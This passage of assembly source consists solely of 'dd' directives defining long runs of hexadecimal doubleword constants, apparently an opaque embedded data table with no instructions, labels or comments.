		dd 48E36835h, 0E57D0049h, 29A91E30h, 0B01E5927h, 0FBCFFE87h
		dd 855E3FECh, 60D8E08Fh, 0FCA0A5AEh, 0A8747Ah, 0CD0A0C75h
		dd 4B3A7E89h, 80595225h, 7C9196ECh, 0C02450E9h,	0ECBB02D7h
		dd 0A4F03748h, 0F7C89C48h, 49035579h, 0E094A7D4h, 0B419F03Bh
		dd 96012C2Fh, 68A600C1h, 9F66EC16h, 0B4B8D372h,	31195600h
		dd 0D4AE81E3h, 0C51200B8h, 416326EDh, 0B2002F82h, 163955BEh
		dd 188AFDh, 3D1F9397h, 516B9DCEh, 7A04B303h, 8854E227h
		dd 22293Bh, 0C49B9E4Fh,	6BFBBCE9h, 3980F4Ch, 9FA3AAD1h
		dd 0A281E02Eh, 0AE3B00CAh, 14CF538Fh, 6A02AC87h, 0F1A3292Bh
		dd 2F12E0BEh, 0FC94001Bh, 84D1B39Fh, 6C004C57h,	44FBB8EEh
		dd 98B77F87h, 1379790Ch, 8FE77Ah, 0C795AEECh, 0FA7E4807h
		dd 81C4CE00h, 0A9C3F909h, 9A6A00F6h, 0AB165F28h, 153CFA1Bh
		dd 3105802Ch, 4438CA9Bh, 8E91002Ah, 0D46784D5h,	1A2ECEC2h
		dd 0CC00D2B2h, 3687545Dh, 9E8F037Ah, 3912C4A7h,	7577B4D0h
		dd 95A3B200h, 6519DDD2h, 46AC0E81h, 8980F25Ah, 89D5C25h
		dd 344D5F00h, 0E64E29F3h, 0E020380Ah, 0D81F5700h, 1DD1262Ch
		dd 30AFDC2Ch, 0C017A800h, 9066B0h, 75C24B98h, 2C345A53h
		dd 122D6700h, 0F3CA83FBh, 9D0A0036h, 92942BCCh,	56034908h
		dd 7BD282EFh, 4426B0F8h, 2EA01612h, 66A40259h, 8C604D2Dh
		dd 0F80965E0h, 0A0A255FEh, 26BDAFA4h, 0EF38003Bh, 0D442A9B1h
		dd 0C900E9C1h, 0A3F3063Ch, 589CA44Eh, 0A70B7493h, 440055D8h
		dd 0CC413D02h, 0E6146100h, 0C6C7BCE0h, 464D024Bh, 841A8193h
		dd 0E2169CC8h, 360020F0h, 594DCFE5h, 0B8FD305Eh, 0ADA30064h
		dd 0DCA64542h, 0F3169D7Fh, 0CC4EBACDh, 0C45B814Fh, 0C7019E3Fh
		dd 0E538707Fh, 0D3C29507h, 0CD081E0h, 0B9EDFBh,	52321A5Eh
		dd 66292C41h, 0A7B7D901h, 0F09967F1h, 0EDBCC4h,	7B09E2C7h
		dd 67E976Ch, 312CDC00h,	0C5D7B3BEh, 0B8B05Dh, 666959EAh
		dd 441CCDE6h, 0AC29A100h, 0DBF6891h, 0CA422E72h, 0AD00384Bh
		dd 73A49335h, 0F80044B7h, 74FBC86Eh, 0FC6085h, 0F151A270h
		dd 2D155762h, 9CFF4Ch, 530BAA13h, 3E5964E3h, 9B0065C9h
		dd 7BFEA008h, 0F607AE19h, 253D0D18h, 5D5ABAA0h,	3E50007Eh
		dd 15B1F0B5h, 28001AF9h, 0CC925541h, 7DC1C23h, 813CD767h
		dd 54E73047h, 4A003B03h, 31EA0721h, 39AC2CF3h, 9D80E597h
		dd 0C10E2A78h, 40714DEh, 0E0453C59h, 8C3030B7h,	0E98574Fh
		dd 0D1C84175h, 16315EE0h, 12001B2Bh, 702DB676h,	51DE4Bh
		dd 39909744h, 36F8B08h,	0E0E70400h, 0F352D1A0h,	502F6F6Ch
		dd 908D85E4h, 272CDBD4h, 0F3B03F00h, 24E80C0Bh,	55CA0103h
		dd 0A040D24Dh, 1DCC3063h, 2B572E04h, 9880620Dh,	3CA152h
		dd 0EE59DCD2h, 724D49D8h, 7C608D00h, 39E2A37h, 0F0B689h
		dd 0D936475Ch, 960FB5A9h, 0C04C3A9Dh, 0E7870E14h, 0CAEE0057h
		dd 31300A77h, 23001FC3h, 0A5504DD4h, 0A6B485h, 64BA8D69h
		dd 0EF9BA825h, 7276B000h, 0CFB5CE4Bh, 0B83924B9h, 0E45B07A4h
		dd 46B4401Bh, 8F12BBA6h, 8C058CA0h, 1880253Ah, 4CC4FD82h
		dd 844C827Dh, 0B4BE2C70h
		dd 54DB0064h, 1B814BD0h, 0CE166300h, 2B20FF7Eh,	0F8114AD7h
		dd 0D6B60083h, 5E879634h, 5BE30401h, 80B29716h,	0D4BB54A8h
		dd 0DC08741Fh, 39EB9140h, 0FEF3C4h, 864C535Eh, 30367F27h
		dd 0BDF5A30Eh, 0EC8833F8h, 40409C94h, 0B7F30D2h, 15CDA200h
		dd 0C61C1258h, 0A64B0096h, 68FA64C7h, 0E31F24C9h, 0DBC35193h
		dd 0F8E29CA8h, 7992E8DDh, 0A7E0BD33h, 844D6A38h, 61FF0B30h
		dd 0DE238FA0h, 88BA3040h, 3094E9Bh, 0E8C9035Bh,	5C03C521h
		dd 0A2056B5Dh, 67EAD8F9h, 34AE12CAh, 26FC0036h,	417F2FCh
		dd 727C5700h, 29021C05h, 3C647EB6h, 7D81AD9Dh, 4E81B31Eh
		dd 1033C071h, 8711F93Fh, 0B6B0E715h, 40DE72D7h,	0DB7A2B4Eh
		dd 0D1100067h, 0EFBAA902h, 0C1001299h, 0B08AB72Dh, 0A5A4AF1h
		dd 9BB2F48Eh, 9F9000B4h, 87CEC5CAh, 6E02BC96h, 0C466601Dh
		dd 0C4F350FCh, 0B2AE1256h, 0FAA840EAh, 57EE183h, 8CAAAB00h
		dd 0DE9E998Dh, 0B6B313A9h, 0C4C81D53h, 0F4821395h, 8D3D2274h
		dd 1F0F3888h, 2A017E6Bh, 55FBA150h, 1C3BE6CCh, 403794BEh
		dd 0AF9BDB11h, 0C5099107h, 80D83583h, 0E98BB9A8h, 621207A7h
		dd 0F00ED04Eh, 501CD08h, 0E54DB000h, 0E485DD2Dh, 865D0673h
		dd 21165A95h, 0DF3B061Ch, 9040C397h, 9997EC6Fh,	62C60FC1h
		dd 0CB40304Dh, 46529D1Ch, 959E3700h, 4E289663h,	8CD20110h
		dd 2DA8659Ch, 0BF33FCD0h, 0B1366D03h, 0E37407CAh, 0F049AB18h
		dd 722BB1Bh, 0C52C4B6Bh, 3C98F092h, 1109402Bh, 0A2BCECh
		dd 88FA7BA4h, 0D4500068h, 0A46DC7EAh, 460157A7h, 21980603h
		dd 8DF893FAh, 45E3489Dh, 54EC1D01h, 0FCBB4827h,	5200B1FCh
		dd 910CFD8Eh, 0E5F5FBh,	2C9892CEh, 9F09A47Eh, 0DD00C6E6h
		dd 0C5636753h, 3A1D6FB8h, 0A2009E50h, 8AAD46BCh, 60962744h
		dd 38AE6905h, 9F634A4h,	44749709h, 331E7101h, 0C0942949h
		dd 0BF778985h, 6D480026h, 0FB035C2Dh, 28BA09D1h, 2E523Bh
		dd 0DB9416B6h, 0D24C11h, 0BABF291Ah, 0C3A2A134h, 79024B7Ah
		dd 3AFCA672h, 4092C222h, 1208684h, 543763F6h, 80FDAF35h
		dd 32556C4Ch, 4D6BE5Ch,	3EAC3F0Bh, 85A68177h, 12D42049h
		dd 567E6F00h, 623D3BA1h, 25FA00A2h, 494248C7h, 2A004A76h
		dd 4B7EEFABh, 51EB06Dh,	276A3D5Fh, 0A0E1C79Ah, 5BC2A0ACh
		dd 0D85DDA03h, 366CFE2h, 0CB476521h, 0C0EC3D6Ch, 4BFC3399h
		dd 356E3E00h, 44A39EC5h, 341A007Eh, 0A076ED8Ch,	8D00D626h
		dd 0F170098Fh, 0B72038h, 13C2A5C8h, 6D7A188Ah, 8CE92801h
		dd 72E4BCE5h, 1ADE4680h, 0C2C15F9Fh, 89A50D00h,	5C2FC3D1h
		dd 0B1670EB9h, 4F5E5A6Bh, 0C1609785h, 0FF9EAA02h, 3951EB00h
		dd 0ECD83290h, 0DEAC00DAh, 0E1141AA1h, 0F9F86C3Ch, 0DD88C400h
		dd 85F45898h, 0EDBE005Dh, 0B35F799Bh, 33001CAEh, 8CE4CB20h
		dd 10A39Ah, 92AC0197h, 546B690Bh, 0CB0F6374h, 3D2936C1h
		dd 0C12DA01h, 88ECE1E7h, 5DAD0065h, 0C9E50E93h,	7E00CA64h
		dd 54921FAAh, 3D9F9E8Eh, 0E124007h, 0B4E80050h,	0CBECF224h
		dd 0D134C200h, 0C7716F9h, 19FEE66h, 0E4947510h,	0D4B6A505h
		dd 0D000FDEAh, 17A45BFCh, 68AE2Ch, 0CC8C705Eh, 0E97C7607h
		dd 0CA14A202h, 78ED6FDDh, 0B0100F0h, 3B24BAEBh,	0FF0592A7h
		dd 6C9757A9h, 2BAC4C90h, 3CCE467h, 0F1E8CB7Dh, 14E8DE6Ah
		dd 207752CFh, 5F0C2901h, 0EEDBFBD1h, 2401E4h, 5ADA426Bh
		dd 0DDB45D7Bh, 0AE150500h, 6DE9E0CEh, 0E32F00BAh, 0A51740D1h
		dd 5A0086EFh, 440D9D3Ah, 40B9E8Ch, 4C32F17Bh, 10318235h
		dd 0C709A4F8h, 0D8234876h, 9AF2B7h, 0BC9CA444h,	71F7CCEBh
		dd 0B80118B8h, 0A352383Bh, 5070960Fh, 0D4D624BAh, 0E4E300D5h
		dd 5856440Eh, 0FCA7AD07h, 8BD52D31h, 74ECF0h, 2307B22Ch
		dd 6AFA5C6Fh, 92064472h, 5337BD94h, 9F033F88h, 0BCD40F78h
		dd 0E707E2C3h, 0AC31876Ah, 5C7CAF11h, 4074FA25h, 0FC6FDC4Ch
		dd 0EEC50018h, 77DE2535h, 0DA00A1E6h, 169E3657h, 0E026F667h
		dd 5502034Bh, 0F59DFADDh, 8680E082h, 0F3DF4565h, 681E7F75h
		dd 0E640DA91h, 35EC7E61h, 49D1039Eh, 9AFE2F02h,	0F43C84D8h
		dd 0EF4E660Eh, 0FBADA06Ch, 2DA81E43h, 53FCDE08h, 4F00F83Eh
		dd 7FD26E1Fh, 2658D6h, 63CA9969h, 60963DA1h, 0FF905E00h
		dd 4523A629h, 1E5D7B7Eh, 4066C61Eh, 0F4AFD098h,	0CA00735Eh
		dd 52D74622h, 32D7714h,	0F9E2378Ah, 55E888EDh, 0A700B37Ah
		dd 3A6C74A1h, 6EB207h, 0D0824A51h, 0C38D9162h, 0F700907Fh
		dd 9276790Eh, 1F2DF43Dh, 0A519D4h, 41496ADBh, 0A0A2529Bh
		dd 2EED9805h, 0DD8D0004h, 0B9B17519h, 0BE9A1F50h, 320B5A5h
		dd 0A24D6985h, 0EC2E317Dh, 0A600DD99h, 3E1C6179h, 60F0E87Bh
		dd 0E4E12017h, 0F700CE99h, 23A5F44Ah, 10142BBh,	0B4EC79D8h
		dd 81EF3821h, 0F3EDAC78h, 0D0507A85h, 246776h, 16B0804h
		dd 21AFFA2h, 0A9C077E8h, 66254144h, 266D002Ch, 1E7036CDh
		dd 3F0CF384h, 49CA5692h, 0E3010387h, 241C2AA4h,	3637B802h
		dd 48591F2Eh, 1D3A8D24h, 0C3D7E263h, 0A16D7BC2h, 32A70818h
		dd 0F42AD20h, 9CFDEC63h, 2B90B220h, 0E70708C9h,	0D40D5E39h
		dd 1C31F6F0h, 97F825D1h, 0A167D40h, 0BB225F0Ah,	0D10078BAh
		dd 0DC6A47F2h, 0C002075Dh, 50169D5Eh, 8E68087Bh, 8A4E5C3Fh
		dd 1C233E50h, 1D0C506Eh, 89D884AEh, 7F515A00h, 0B19379BEh
		dd 38EF081Bh, 2BC52D36h, 0F6D87780h, 0A46CA9C1h, 62F3AE10h
		dd 14AD1238h, 238C8E5Ch, 63310133h, 1846D83Dh, 0F9B088A8h
		dd 0D8D76200h, 0B3901D27h, 118A015Ch, 6065DFD5h, 9022E38Fh
		dd 1E670055h, 8459276Dh, 2BE402B1h, 787E2503h, 7FD0A44Dh
		dd 3E279D8h, 1873FB0Ah,	0CD485Dh, 676B1D20h, 3031CEAh
		dd 0DFA3F198h, 13690420h, 8C4E3CCAh, 9904EF4Ch,	7B3E253Dh
		dd 0DE20DA32h, 3A09A47h, 54132A71h, 0F9909744h,	1C927422h
		dd 802C0700h, 0B51C309Ch, 19826088h, 0D8CADC5Ch, 633C7F25h
		dd 3B1905E9h, 0C0AE052Ah, 0A731FD00h, 0F3F7800h, 0F83AA07Ah
		dd 80C51D47h, 5ED6C7E4h, 74BE00C1h, 140E0E90h, 0EF9BF8DFh
		dd 2AD1E107h, 2820F324h, 0D8E12D4h, 117C001Bh, 4C51B023h
		dd 35207000h, 259A3787h, 711F2603h, 0FDBC2050h,	0C442B2F1h
		dd 4D98145h, 0D8266BCAh, 4099EA02h, 0EF319625h,	99E99710h
		dd 19C13F00h, 0D23CBC6Fh, 68AA62C2h, 7500839Bh,	0A2769D7Ah
		dd 1E7082F8h, 21E8466Eh, 4508ED62h, 24656086h, 1B2108F6h
		dd 4BD66002h, 6600D525h, 0EF70FCF9h, 6013D8h, 0D7D2B003h
		dd 0FB4DB79h, 0A5356C1Fh, 4321BC80h, 704F371Ch,	580A0C47h
		dd 0ED9CFDB6h, 7980D630h, 592C1B94h, 6D0014F6h,	8ADD6557h
		dd 786396BAh, 0E40F93B8h, 24086095h, 9A38C03Dh,	4646252Eh
		dd 0DD27EF22h, 0C9350F0h, 9D5CB801h, 0CA008F38h, 64538C6Fh
		dd 0F6739AABh, 4E0912DFh, 807440A5h, 2E40A2BEh,	7328740Fh
		dd 49EAE05Fh, 9E106FEh,	0A8A370DBh, 0EC9F2481h,	6AE442C2h
		dd 1499F130h, 4C4E2547h, 1AACC388h, 7C4D9900h, 36B751h
		dd 247DF4D6h, 0D39C01AEh, 1C2C5601h, 7A4A898Bh,	12053C20h
		dd 8D6FD4h, 35F3678h, 0BC90330Fh, 0C02B52Ch, 765C3B80h
		dd 1361DEh, 0A1E28E08h,	27B46F83h, 0E10FB371h, 0C359EF58h
		dd 0D14D37A0h, 0AC4077DDh, 135C396h, 0BCEE1068h, 0E0839329h
		dd 8E001CCCh, 3D9E0979h, 9921EDB3h, 49D11DDCh, 0C0207C33h
		dd 0DFA2C10Fh, 9048AC01h
		dd 5828FD5Ch, 94300C35h, 392F004Dh, 0D0AD44CAh,	0CF1D8A67h
		dd 0A6CF694Eh, 4460D2EDh, 23182473h, 72110B08h,	245D380Eh
		dd 2E45B720h, 0CB0EEA75h, 64073DCCh, 0CC80C077h, 50F320EBh
		dd 5927D0A0h, 55079C82h, 0F5186172h, 0E0BAC0FCh, 4E26A4EDh
		dd 0DB0990DAh, 811001A1h, 14246AD9h, 0E89E0C3Bh, 0D51161B6h
		dd 73BE1707h, 5720D1DEh, 0E8DBE2B3h, 9FC0A807h,	48BE0030h
		dd 246995B2h, 731221D5h, 946349EBh, 0F458236Ah,	67BE823Fh
		dd 19DB31DEh, 0A32180EFh, 1484BE2Ch, 0AAAB1225h, 348C00A2h
		dd 2A4FE421h, 6E8B3D1Ch, 0D5C16140h, 0ADE55A0h,	0FF481180h
		dd 10650488h, 0E8FC54AFh, 1EEE432Eh, 0B902780Bh, 0C9A9282Dh
		dd 44F5BE30h, 81FBCCh, 0DE10DC53h, 52F135AEh, 0E4099298h
		dd 30C2124Ch, 1808260Ch, 98E6F82Ch, 6F584F45h, 8C91E86Ch
		dd 0EC8F0A00h, 549B0246h, 1EB41F38h, 0A4B07DBAh, 0C9D381E8h
		dd 970FFE70h, 41F29C09h, 0B36F20DBh, 2AD6DC24h,	2AFC1CDFh
		dd 1888184h, 53B26414h,	0E45B0212h, 373801F0h, 1F6183FBh
		dd 388F3F21h, 8300A240h, 5CB43139h, 900C205h, 6CF04586h
		dd 5D7BADDCh, 0ED00209Ah, 89AA563Fh, 0A8901D43h, 0A3A1CC09h
		dd 0F5040460h, 50BE1A60h, 1119DF23h, 33900EF9h,	0EBC284BEh
		dd 146E6D80h, 1B010BAAh, 2C007A95h, 50E1084Eh, 73E43490h
		dd 24028939h, 6D0F189Ah, 9B4100AEh, 0E06F4ECBh,	28A5311Bh
		dd 0ED0324C0h, 23206070h, 5CC0D48h, 0E99E3C59h,	0BE2E5020h
		dd 0B9DF104Ch, 80F0C8DEh, 8EBE279Ch, 5802647Eh,	37364FABh
		dd 358490B7h, 158098EEh, 0B887862Ch, 261C2E03h,	0A00A74AAh
		dd 0F49B7B80h, 1B38ED80h, 38F43F47h, 780199FDh,	0F94ECC8Bh
		dd 0B901E88Ch, 673DF506h, 88E1DCh, 709C025h, 0C6D18AF9h
		dd 7D42B606h, 21EB22h, 65B98B40h, 5A18ACDCh, 35693666h
		dd 303D16A0h, 2C4C2086h, 0F40059DEh, 1003688Fh,	0EC6BE9ACh
		dd 48691651h, 61E0018Bh, 347E065Eh, 5F60B530h, 0BFE8D3E9h
		dd 0FFF0A7h, 0F4F2E20Ah, 20B4EF06h, 712A099h, 0E80DB843h
		dd 0EA06803Ah, 74B49448h, 81EE2E21h, 49C52397h,	30507010h
		dd 0E3E0048Ah, 72BE1860h, 1169DE23h, 319E04F2h,	9481C7BEh
		dd 1832120Ah, 59243B29h, 784118FEh, 0FFA709CBh,	6064A14Dh
		dd 178BB8C2h, 0B7C8873Eh, 0F081A204h, 82932D7h,	6809C40h
		dd 0D87AF66Bh, 30B05969h, 403DB205h, 7580DFFBh,	2635DAA1h
		dd 0C0203036h, 0D7EC6344h, 14C1CE25h, 2FDB0B8Ch, 25022663h
		dd 58720D5Eh, 88653D06h, 9F8A9F2h, 716A7A37h, 28410AFh
		dd 289089A4h, 372787C8h, 7E0525DFh, 0A072ECD7h,	4DB84054h
		dd 82E1E2Dh, 0F3258F5Bh, 0CC01F269h, 0D30D6F93h, 2D1D3003h
		dd 8094DB6Ch, 0B83C7DCCh, 46DC8044h, 0F50286B7h, 0E1DE65BEh
		dd 12FB19DBh, 0A1CC4075h, 0B6AF0F74h, 0B839C88h, 880C56B1h
		dd 0B1A04B2Ah, 0E17B0090h, 3F36C1AAh, 72491FF9h, 0F4106034h
		dd 9678F5Eh, 38A9FD3Dh,	0AA91CC97h, 0B41A8880h,	1D3004C5h
		dd 403C80B7h, 0EB35280Fh, 7EDA01A6h, 2B164F24h,	40687570h
		dd 0C293862Dh, 2E528B12h, 8A369883h, 47409031h,	0D69B1663h
		dd 1A0C3896h, 4CEDECA0h, 23E00903h, 0C1D3450Bh,	2C4214Eh
		dd 44908212h, 24302B15h, 0D92580A2h, 8B6400ACh,	328F4C1Eh
		dd 3628FE5Fh, 1498B065h, 94B87C71h, 0D0ADFD24h,	123465Eh
		dd 87D7A9B5h, 2824DCF9h, 0C88F5C33h, 4427310h, 6C269C07h
		dd 0F96B0080h, 608C5D77h, 4C007F22h, 2DBD4BCDh,	0B583A4h
		dd 0BE761336h, 0EB5620ECh, 643E965Ch, 2CB614E1h, 80B5F5B3h
		dd 0E6156B0Ch, 0F0DDA8CCh, 1864320h, 81B2550h, 7C0C0253h
		dd 6A45ACA8h, 0C742241Ch, 9B090038h, 9463B2BEh,	0A628517Bh
		dd 0B89E9DD0h, 4F7720B4h, 0BC784848h, 27008CF9h, 0C033E46Dh
		dd 795D4705h, 2A7D2CD7h, 54EC2868h, 2A249C83h, 9849FDDh
		dd 5BC0F28Bh, 6AB5C402h, 0B034E448h, 8F1FA54Ah,	2EBC2F85h
		dd 45148C49h, 60B5C4ECh, 13756956h, 90850BEBh, 6418D24Ch
		dd 51A66C00h, 0FF2E7FF5h, 14854849h, 0BA13AC80h, 7200A942h
		dd 0EDA47DD9h, 35CD7DFh, 0CE3BB999h, 32A99F6Bh,	74A5C57Ah
		dd 82031D3Ch, 0DF21F951h, 964800FBh, 610D02EBh,	0FF4C9D6Eh
		dd 0E9B933A0h, 32F3B969h, 1823B024h, 0A0CBB0D1h, 4A4FAA8Bh
		dd 0D6176816h, 0F923502Eh, 462A8738h, 35303C65h, 4F27D9FBh
		dd 9D000162h, 802CD881h, 0A951889h, 262E8DDAh, 800CF30Dh
		dd 85C7DC69h, 6C4C1ED9h, 18CAA884h, 8F9FE9Ch, 87003E2Ah
		dd 2FADBDF7h, 0E7B3CABh, 4339BA27h, 3F65C1A0h, 0F4FCA7F2h
		dd 7D996400h, 9F4DF83Eh, 547E13BAh, 1CBC002Ch, 3094B34Bh
		dd 0B9788405h, 0E3072E73h, 602CB53Dh, 16F32472h, 0AF8A053Ah
		dd 540C003Ch, 8DCAF4D4h, 9246F117h, 77E06507h, 45C7A9C0h
		dd 64061BCEh, 0CA078F7h, 0C100D0E9h, 0F696784Fh, 408EAEC2h
		dd 0F5004DA0h, 64DEB0A4h, 0FAAF7DBDh, 8738C09Bh, 0A6797757h
		dd 0DA3A1C01h, 0D9C1766Ah, 0D27E2DD0h, 79E10020h, 6CCFD745h
		dd 2609F600h, 0FA0C4AA7h, 0A06406F3h, 883B8135h, 0D860E4E2h
		dd 0E10A7959h, 8CDD000Dh, 2FD2FF6Bh, 0F61E193Ch, 0B9700674h
		dd 14C9767h, 2171F5ADh,	8CD9EE3Ah, 20F66808h, 4C6E00A4h
		dd 0FF7C436Ah, 3300F2C7h, 4BF79BEBh, 2A6C7DF9h,	398FD1Ah
		dd 810E9336h, 0BCA23C2Bh, 2F917495h, 0AF15AC80h, 76018155h
		dd 14ED9EE3h, 63C80B30h, 0F3BB3340h, 0C1646EC9h, 6C603FD0h
		dd 0F523984Ch, 941169h,	6D4C83B1h, 0C2AB150Fh, 759616C8h
		dd 612EA0A0h, 0C503CDDAh, 0EE956D2Fh, 0E7180086h, 8D019DA3h
		dd 7E1CEFB7h, 0A4C0A18Eh, 0A01F5AFEh, 6CA90C51h, 131F7E2h
		dd 2953602h, 4030666Bh,	2897EE44h, 33943F29h, 1C718396h
		dd 7723B288h, 8E003EE2h, 0D0C84EEEh, 4D49907h, 3D874D8Ah
		dd 0CF84932Dh, 89D2087h, 0EE00200Ah, 0DBD4C68h,	312BD2ACh
		dd 7D29823Eh, 76081BEh,	0FB3CAD17h, 18BBD050h, 1E1B904Dh
		dd 4F2004AAh, 5FE04BC9h, 8179B001h, 6759C7Ah, 0B3053E02h
		dd 0A0F68C80h, 0E5B2A7A0h, 325A0056h, 68417764h, 1815966Ah
		dd 94C06DF6h, 0F52B7C18h, 6911C0D9h, 4C88C700h,	0D209B816h
		dd 0EB70E71Ch, 79CE8D5h, 312A9F3Fh, 27818420h, 7BB0EF3h
		dd 8EDF83FFh, 4B60FD5h,	951E73A1h, 5D000134h, 3D7F57Dh
		dd 0EB3E887h, 9BC907Eh,	816019D9h, 4961080h, 2A515A73h
		dd 3E09C4C8h, 0CA48CEFCh, 0D4EE2A90h, 954428A7h, 0F098F363h
		dd 42748D64h, 2BB071Dh,	58F8A070h, 6369C746h, 6D9AC077h
		dd 0E200BE78h, 99F65D6Ch, 911A7D21h, 115824DCh,	0F30304CBh
		dd 1CC7AF5Dh, 0F04031E5h, 52A26671h, 9A7D00CDh,	8ACF918h
		dd 5007C5Eh, 153B97D7h,	3053862Dh, 9C60F5FFh, 3F0606EDh
		dd 3591A7Ch, 6B360C91h,	0F7A8A012h, 0ADF0C204h,	0DC9BBBF6h
		dd 64539980h, 750E851Ah, 2017705Ch, 38154D24h, 76C0A090h
		dd 437742h, 0FC0113B5h,	31DD0A69h, 0A223A300h, 0B74B1AA5h
		dd 842200CAh, 109CB23Eh, 2150D293h, 0CB0087CCh,	0C2DFADFCh
		dd 602B763Dh, 0B0EAA09Ah, 9D014813h, 0A6298CD8h, 1C4C0C6Dh
		dd 0EE0D80FAh, 7AA03950h, 0FCBF7309h, 0EB04021Eh, 40644969h
		dd 4C089318h, 0C491F5B1h, 6AB0409Fh, 7E094Ch, 4D5E108h
		dd 158A9A0Dh, 246EF629h, 974C6D01h, 0B03381F5h,	4C84AE80h
		dd 273A9112h, 9E520350h
		dd 5DBB08Fh, 8819C7E8h,	6FA00338h, 79D0264Fh, 0F6073404h
		dd 0B73E68B5h, 0C908194h, 162F961Dh, 62FA026Eh,	0C23038A4h
		dd 89CD03E2h, 0DA1686B8h, 7E0F46C0h, 48083891h,	577901B0h
		dd 0EC1D047Bh, 31037013h, 0F8C8E184h, 451427Dh,	6362CBC0h
		dd 0CAE8DF12h, 160FBCE6h, 83C8869Bh, 0B9C0BA64h, 7DFC1299h
		dd 0D9DB0044h, 0E1874239h, 173D3D11h, 0EA90179h, 0A9F5E64h
		dd 1588F020h, 0E095863Bh, 0A5DE7D00h, 0B7A7725Ah, 0BF325C98h
		dd 68D708AFh, 0DDFF24h,	4B289E5Ah, 95F0D93Dh, 62A1A060h
		dd 1E9804h, 0ADABB58Ch,	2BFAD3ECh, 0B41538h, 4E4C45FCh
		dd 241710EBh, 0CC9CF3h,	467476CBh, 5092D7DBh, 6E2CBB03h
		dd 0E1B5F7A9h, 78856F77h, 913CF2A7h, 0FCA6C2CCh, 0B85552h
		dd 65935B01h, 21392AB9h, 11E0E847h, 536AB6E5h, 0C6842045h
		dd 84086455h, 5ADCC069h, 0BF46A76Bh, 0FC00EB22h, 0E1AD5AD4h
		dd 605BB0F8h, 8D63D0ECh, 0E7585844h, 32809E70h,	6A14CCC9h
		dd 0BB7A0062h, 53FDAA77h, 476A111Dh, 0D21138E9h, 712FB380h
		dd 0CF436202h, 0C20B3722h, 7FE22FAAh, 3007A0Fh,	0BA8F5D6h
		dd 4388DE60h, 9055AEBBh, 3CD54CD4h, 7801B023h, 721CA579h
		dd 35882818h, 70790740h, 0A05EA1D3h, 997CD709h,	0D915D800h
		dd 9BA0363Bh, 8F20745h,	0D07B6FBFh, 67BC0476h, 64D43E29h
		dd 97148C28h, 8864D202h, 0A4C48529h, 5F9E002Fh,	6499E35Dh
		dd 79B2FA02h, 0C438868Bh, 107F2628h, 46570044h,	368A9019h
		dd 0BF58ED09h, 3CB888B5h, 33465Ch, 0EEC2752Eh, 1EABEF06h
		dd 8288BD0Ch, 0F107B26Eh, 3A67A482h, 9F445CC7h,	0C64AFA60h
		dd 3811A01h, 0E87759D1h, 0E4299241h, 12B91C60h,	3A610AD0h
		dd 0D8233Ch, 3F60822Ch,	350970E2h, 0A3BB531Dh, 0B07986F0h
		dd 0DB6B81h, 2E013F85h,	0D9DCE47h, 9F656C0Dh, 823E80EDh
		dd 60C0681Eh, 0F84C8F16h, 0E0A440D4h, 2FB1028Ch, 0CAB20293h
		dd 0D0103419h, 2C002FA8h, 9BFBAD8Dh, 9466FAAAh,	755E00CCh
		dd 321522BFh, 0C01148h,	64DF4E52h, 0C03DB63Fh, 5DFC7A41h
		dd 4F0063E9h, 318D2DACh, 17360470h, 5D900365h, 56ED403Ch
		dd 0FBB98454h, 60042C5Ch, 0B6803C7Dh, 0F4E24957h, 0BA58491Fh
		dd 0C078A924h, 1CA87971h, 34806A43h, 0BC937939h, 0F9561A01h
		dd 0B8B7B37Dh, 53A29C23h, 94E02931h, 5B242642h,	1CBB0FCFh
		dd 19C0F25h, 34F27C8Ch,	0D054311Eh, 7496B935h, 8F206C85h
		dd 9485AC40h, 18D65FF2h, 819A8EE5h, 551D6471h, 29B03BE7h
		dd 0C0EBEDh, 0E1047ED1h, 0F8AE620Dh, 5479062Ch,	6C189696h
		dd 483F60h, 62BB1DA0h, 3C011E41h, 684A78B0h, 448F4446h
		dd 76F71269h, 0C5B000CDh, 0A556FFE6h, 30472226h, 6DEA2B00h
		dd 0DE9746h, 0A2A65277h, 7D6F53F6h, 0EDD2E0DCh,	5C7B1888h
		dd 4C2B893h, 0D458DF06h, 6C02AC46h, 121CD979h, 1901D09Ch
		dd 0C5AB7973h, 9442D2D4h, 0BF632083h, 7648D359h, 250D0038h
		dd 2665B9Eh, 240E26BBh,	58F60F20h, 849B2744h, 0C8B48BE8h
		dd 674BC038h, 0B60019A9h, 211736CDh, 0B0654703h, 87E0A1DCh
		dd 0F85AC519h, 448CAFA7h, 0B600FEF2h, 0C5808E5Ah, 0F4B8960Ah
		dd 0BF030005h, 96DDB2Dh, 7090499Dh, 7FE03A4Dh, 0C8411001h
		dd 0DDCF5924h, 0B404C30h, 0FC752AA7h, 0B43F6804h, 0FDE2E550h
		dd 80E75012h, 0B2E884C0h, 0DDC500F2h, 7C78C42Bh, 6D0AE068h
		dd 0B4C323A8h, 0B840989h, 0C5849008h, 6DEB1F64h, 6C3000F1h
		dd 0C2027514h, 0ECF6D071h, 8FFF3E0Fh, 8640381Dh, 2E78003Ch
		dd 0DCEDE025h, 109656Bh, 372843h, 0F34B1E74h, 8CD89C94h
		dd 1CB89FC3h, 0D656B313h, 0B18D5C00h, 26B6ADE3h, 43EC591Ah
		dd 90390163h, 0BC94CCEEh, 5C138CE5h, 0E805960Eh, 28922EBBh
		dd 71AC5919h, 0DB1868h,	0E775D3B1h, 0B0775FD7h,	6CF2F712h
		dd 8284E860h, 0D7C2006Bh, 4B0F3C2Bh, 434CF0B7h,	4AC38C4h
		dd 7E7D77DFh, 7A7FBF00h, 6F05B2BDh, 875004D0h, 9467748Ch
		dd 33465C40h, 0D192A509h, 0EBF7803h, 0D384858h,	0F82ACE5Eh
		dd 69E2C472h, 670130h, 41A464DAh, 8266FE15h, 6A46C8A4h
		dd 0C45AD91Fh, 2C7A17A7h, 5AD100FBh, 10A09180h,	509282E7h
		dd 0F6283800h, 31B1569h, 0F2E4022Dh, 8357C440h,	0A7004864h
		dd 0B5A5389Bh, 798E2550h, 0C5310003h, 66898805h, 42F20612h
		dd 2CCDEC24h, 0C046D13h, 1084728Eh, 852E73C2h, 0C8BBDD0h
		dd 69C353C8h, 0C89B9038h, 8FC902A5h, 66AB1D51h,	0A70CDC50h
		dd 60265BE2h, 0B2FE7199h, 32350380h, 63977B1Dh,	41862800h
		dd 9952A424h, 1561C12Bh, 0E83A2267h, 0B500815Ah, 0AF7860B6h
		dd 0AE585Fh, 0C9C16E26h, 7D2189EEh, 0C7CE9714h,	8CF2E8BCh
		dd 3B8CD500h, 6D08151Ch, 2748396Eh, 0B836647Ah,	20E0CD50h
